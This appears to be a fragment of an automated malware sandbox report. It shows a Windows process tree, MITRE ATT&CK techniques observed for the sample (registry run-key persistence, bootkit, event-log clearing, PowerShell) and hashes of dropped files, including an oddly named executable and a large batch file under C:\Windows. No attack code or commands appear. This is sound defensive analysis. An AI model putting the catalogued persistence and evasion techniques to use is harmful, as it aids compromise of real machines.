  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:3192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2508

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4924

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:1044

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:4776
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 408 -p 2532 -ip 2532
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:1952
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 184 -p 4368 -ip 4368
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:3872
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 576 -p 4368 -ip 4368
  2⤵
  PID:1312

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:2756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:3968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3757.tmp.csv

Filesize
38KB

MD5
e11be3f5d7ddba89569eb850d02739bf

SHA1
211eebe6dcfe71090e1c43db8f71c3ed68076efd

SHA256
923ad2aec6c42c430e2b17d40e71f9ea5f49692ba43c0afcd1dfa73a4cb926ef

SHA512
137cf770a7c59ddbfa42d2497a3c748740770f2f4b0fd1cba59ed367d4b4482169e4773e409d6b281235b27342a12688a6b8703e801335e11384aeb5805d73d0

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER3787.tmp.txt

Filesize
13KB

MD5
39bb27fd8a3e16562465b44f559c17f3

SHA1
28984536c4bf621f4842817933049862b129a418

SHA256
6d84f6c837e7b632bade58d1c632fc764088caa27fdc1e31de43503d801fef86

SHA512
ac649141c822bd883ce7581ce2f72bf6216606cd714b95f414e6cac9c27e305c1c81f5fee7e5f14240678d32e55485f65a897500e7dd46615d021df818ad086f

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WERAE6D.tmp.csv

Filesize
38KB

MD5
81fd6732271203fb890a806957815649

SHA1
74fdb0e52fc249a1b11cd2e58702fabafb6008f9

SHA256
a426f137e95e7291dfeee4164dd835a77fd8d42309fac5765a29a5339f3b660d

SHA512
687f2592a2a171f4d75de77115668e753acd46545c5e9041f65e3a1e271614ccfa45540a6e56fad69fff028f4888509a981205ab665d82201ec3da0721bc0898

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WERAE9D.tmp.txt

Filesize
13KB

MD5
2538cc68ce7e8233f418fa9bc7cf1d25

SHA1
f21538cedae30d3675afcffc4a3a00b2f7a76ece

SHA256
a11d5bc9094fea71ace5fef8bcac79b9b372289dbdd631ceacdf55225cb6fc22

SHA512
769c107bb19ced1a97bebe890abd03e9c7e3ae48e238d069f45de71a14c149f4be63c154aaa68a357afc94ce5df05314dcd56b590755f17dd9a9f2b3d4500ea4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
bb8306e1bcf2e988e16c1aee4383f269

SHA1
3f261ea9b6df59d223f7c61adddc7f6f515e6e4e

SHA256
859eb6128cadf870e8235e87af15e13e6243b84690f641612be03c8dd83c4b98

SHA512
ad95bd6d26de7cea5ddaa4c3d92ced71899be98bac8593fed13b815a25eccd71817300f0cde97d87d3722515691a4a82a7d2d06a832d6181f05ccd73649247d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
3KB

MD5
76a18ac328480a11da294618d5d31ffd

SHA1
0224f6c541f3e833a9bbe76184ec4b2b5487fe62

SHA256
e0ed940dd5e72400cd69d53a59216af270adbfd107742485db35b4623ed710e6

SHA512
f73d3ec83eff892ca425cc7cacf2e06f77b0edd24a8b5fa4e8ff02349a9653553884e3ee41c650bc17598392da08a8e230eadf129dcac4e0ea1e19d01ac84bbe

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pbe4schw.tku.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$nya-onimai2\Fqnweg.exe

Filesize
36KB

MD5
b943a57bdf1bbd9c33ab0d33ff885983

SHA1
1cee65eea1ab27eae9108c081e18a50678bd5cdc

SHA256
878df6f755578e2e79d0e6fd350f5b4430e0e42bb4bc8757afb97999bc405ba4

SHA512
cb7253de88bd351f8bcb5dc0b5760d3d2875d39f601396a4250e06ead9e7edeffcd94fa23f392833f450c983a246952f2bad3a40f84aff2adc0f7d0eb408d03c

Download Submit
C:\Windows\$rbx-onimai2\$rbx-CO2.bat

Filesize
7.4MB

MD5
dc341c4ec7fe7d3e81d7bca145454b0c

SHA1
b86edef88c3fd8da25c57b1df0e732ba63935731

SHA256
7bf1cb8256c2f6c4866673d450bb64ff92508e73bf18c732c116615bdb7aaf62

SHA512
45f87adb3f1339dbb091ae9ba6cc4db5eac9756d3fd00e92205b8d209ba393e6350f212e7561720fcf1220e76c7f785c5a68bfe62491d0f0bbf62dd1ee27822a

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
1e8e2076314d54dd72e7ee09ff8a52ab

SHA1
5fd0a67671430f66237f483eef39ff599b892272

SHA256
55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

SHA512
5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
memory/376-78-0x000002716DF50000-0x000002716DF7A000-memory.dmp

Filesize
168KB

Download
memory/528-3049-0x000001C0F0D90000-0x000001C0F0D9E000-memory.dmp

Filesize
56KB

Download
memory/624-39-0x0000015B607D0000-0x0000015B607FA000-memory.dmp

Filesize
168KB

Download
memory/624-31-0x0000015B607A0000-0x0000015B607C4000-memory.dmp

Filesize
144KB

Download
memory/624-33-0x0000015B607D0000-0x0000015B607FA000-memory.dmp

Filesize
168KB

Download
memory/624-38-0x0000015B607D0000-0x0000015B607FA000-memory.dmp

Filesize
168KB

Download
memory/624-43-0x00007FFAD13B0000-0x00007FFAD13C0000-memory.dmp

Filesize
64KB

Download
memory/624-44-0x0000015B607D0000-0x0000015B607FA000-memory.dmp

Filesize
168KB

Download
memory/624-42-0x0000015B607D0000-0x0000015B607FA000-memory.dmp

Filesize
168KB

Download
memory/624-32-0x0000015B607D0000-0x0000015B607FA000-memory.dmp

Filesize
168KB

Download
memory/624-41-0x0000015B607D0000-0x0000015B607FA000-memory.dmp

Filesize
168KB

Download
memory/624-40-0x0000015B607D0000-0x0000015B607FA000-memory.dmp

Filesize
168KB

Download
memory/676-57-0x0000024617E90000-0x0000024617EBA000-memory.dmp

Filesize
168KB

Download
memory/676-59-0x0000024617E90000-0x0000024617EBA000-memory.dmp

Filesize
168KB

Download
memory/676-54-0x0000024617E90000-0x0000024617EBA000-memory.dmp

Filesize
168KB

Download
memory/676-55-0x0000024617E90000-0x0000024617EBA000-memory.dmp

Filesize
168KB

Download
memory/676-56-0x0000024617E90000-0x0000024617EBA000-memory.dmp

Filesize
168KB

Download
memory/676-58-0x00007FFAD13B0000-0x00007FFAD13C0000-memory.dmp

Filesize
64KB

Download
memory/676-53-0x0000024617E90000-0x0000024617EBA000-memory.dmp

Filesize
168KB

Download
memory/676-48-0x0000024617E90000-0x0000024617EBA000-memory.dmp

Filesize
168KB

Download
memory/968-68-0x000002C65BFD0000-0x000002C65BFFA000-memory.dmp

Filesize
168KB

Download
memory/968-74-0x000002C65BFD0000-0x000002C65BFFA000-memory.dmp

Filesize
168KB

Download
memory/968-63-0x000002C65BFD0000-0x000002C65BFFA000-memory.dmp

Filesize
168KB

Download
memory/968-69-0x000002C65BFD0000-0x000002C65BFFA000-memory.dmp

Filesize
168KB

Download
memory/968-70-0x000002C65BFD0000-0x000002C65BFFA000-memory.dmp

Filesize
168KB

Download
memory/968-71-0x000002C65BFD0000-0x000002C65BFFA000-memory.dmp

Filesize
168KB

Download
memory/968-72-0x000002C65BFD0000-0x000002C65BFFA000-memory.dmp

Filesize
168KB

Download
memory/968-73-0x00007FFAD13B0000-0x00007FFAD13C0000-memory.dmp

Filesize
64KB

Download
memory/2532-14-0x0000016D78770000-0x0000016D787E6000-memory.dmp

Filesize
472KB

Download
memory/2532-13-0x0000016D762B0000-0x0000016D762F4000-memory.dmp

Filesize
272KB

Download
memory/2532-7-0x0000016D75F90000-0x0000016D75FB2000-memory.dmp

Filesize
136KB

Download
memory/2532-1008-0x00007FFAF29E3000-0x00007FFAF29E5000-memory.dmp

Filesize
8KB

Download
memory/2532-1009-0x00007FFAF29E0000-0x00007FFAF34A1000-memory.dmp

Filesize
10.8MB

Download
memory/2532-1010-0x00007FFAF29E0000-0x00007FFAF34A1000-memory.dmp

Filesize
10.8MB

Download
memory/2532-11-0x00007FFAF29E0000-0x00007FFAF34A1000-memory.dmp

Filesize
10.8MB

Download
memory/2532-12-0x00007FFAF29E0000-0x00007FFAF34A1000-memory.dmp

Filesize
10.8MB

Download
memory/2532-91-0x0000016D790A0000-0x0000016D79432000-memory.dmp

Filesize
3.6MB

Download
memory/2532-1509-0x00007FFAF29E0000-0x00007FFAF34A1000-memory.dmp

Filesize
10.8MB

Download
memory/2532-0-0x00007FFAF29E3000-0x00007FFAF29E5000-memory.dmp

Filesize
8KB

Download
memory/2532-15-0x0000016D741D0000-0x0000016D7420A000-memory.dmp

Filesize
232KB

Download
memory/2532-16-0x0000016D78A50000-0x0000016D78E96000-memory.dmp

Filesize
4.3MB

Download
memory/2532-18-0x00007FFB105C0000-0x00007FFB1067E000-memory.dmp

Filesize
760KB

Download
memory/2532-17-0x00007FFB11330000-0x00007FFB11525000-memory.dmp

Filesize
2.0MB

Download
memory/4304-23-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4304-26-0x00007FFB11330000-0x00007FFB11525000-memory.dmp

Filesize
2.0MB

Download
memory/4304-25-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4304-21-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4304-20-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4304-27-0x00007FFB105C0000-0x00007FFB1067E000-memory.dmp

Filesize
760KB

Download
memory/4304-19-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4304-28-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4368-2464-0x000001C65F760000-0x000001C65FEE4000-memory.dmp

Filesize
7.5MB

Download
memory/4368-2575-0x000001C65D770000-0x000001C65D7C0000-memory.dmp

Filesize
320KB

Download
memory/4368-2576-0x000001C65D880000-0x000001C65D932000-memory.dmp

Filesize
712KB

Download
memory/4368-2577-0x000001C660850000-0x000001C660A12000-memory.dmp

Filesize
1.8MB

Download